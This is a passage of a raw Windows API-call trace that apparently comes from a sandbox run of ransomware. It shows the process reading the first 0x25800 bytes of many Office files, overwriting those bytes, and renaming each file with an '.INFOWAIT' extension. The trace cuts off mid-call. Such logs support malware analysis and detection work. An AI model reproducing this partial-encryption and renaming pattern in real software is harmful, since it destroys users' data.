[0127.608] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3d960 [0127.608] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0127.608] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.608] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0127.746] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0127.758] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.758] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0127.759] CloseHandle (hObject=0xad4) returned 1 [0127.759] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" [0127.759] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.INFOWAIT" [0127.759] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll.infowait")) returned 1 [0127.760] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.761] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.762] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0127.762] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0127.762] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x35960 [0127.762] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0127.763] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.763] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0127.858] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0127.869] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.869] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0127.870] CloseHandle (hObject=0xad4) returned 1 [0127.870] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" [0127.870] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.INFOWAIT" [0127.870] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll.infowait")) returned 1 [0127.871] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.872] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.873] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0127.873] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0127.873] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9f560 [0127.873] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0127.873] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.874] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0128.321] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0128.331] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.331] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0128.331] CloseHandle (hObject=0xad4) returned 1 [0128.331] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" [0128.331] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.INFOWAIT" [0128.331] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll.infowait")) returned 1 [0128.333] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.334] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.335] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0128.335] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0128.335] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2d60 [0128.335] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0128.335] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.335] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2d60, lpOverlapped=0x0) returned 1 [0128.444] VirtualAlloc (lpAddress=0x0, dwSize=0x2d60, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0128.445] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.445] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2d60, lpOverlapped=0x0) returned 1 [0128.445] CloseHandle (hObject=0xad4) returned 1 [0128.446] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" [0128.446] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.INFOWAIT" [0128.446] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll.infowait")) returned 1 [0128.446] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.447] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.447] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0128.447] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0128.447] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd160 [0128.447] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0128.448] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.448] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd160, lpOverlapped=0x0) returned 1 [0128.450] VirtualAlloc (lpAddress=0x0, dwSize=0xd160, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0128.453] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.453] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd160, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd160, lpOverlapped=0x0) returned 1 [0128.453] CloseHandle (hObject=0xad4) returned 1 [0128.453] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" [0128.453] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.INFOWAIT" [0128.453] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll.infowait")) returned 1 [0128.454] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.454] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.455] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0128.455] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0128.455] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x43560 [0128.455] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0128.455] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.455] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0128.566] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0128.575] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.575] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0128.576] CloseHandle (hObject=0xad4) returned 1 [0128.576] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" [0128.576] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.INFOWAIT" [0128.576] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll.infowait")) returned 1 [0128.577] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.577] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.578] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0128.578] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0128.579] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1a560 [0128.579] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0128.579] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.579] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1a560, lpOverlapped=0x0) returned 1 [0128.662] VirtualAlloc (lpAddress=0x0, dwSize=0x1a560, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0128.668] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.668] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1a560, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1a560, lpOverlapped=0x0) returned 1 [0128.669] CloseHandle (hObject=0xad4) returned 1 [0128.669] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" [0128.669] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.INFOWAIT" [0128.669] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll.infowait")) returned 1 [0128.670] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.670] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.671] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0128.671] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0128.671] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x87f60 [0128.671] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0128.672] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.672] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0128.810] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0128.819] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.819] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0128.819] CloseHandle (hObject=0xad4) returned 1 [0128.819] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" [0128.819] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.INFOWAIT" [0128.820] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll.infowait")) returned 1 [0128.820] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.821] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.822] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0128.822] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0128.822] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x57f60 [0128.822] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0128.822] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0128.822] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, 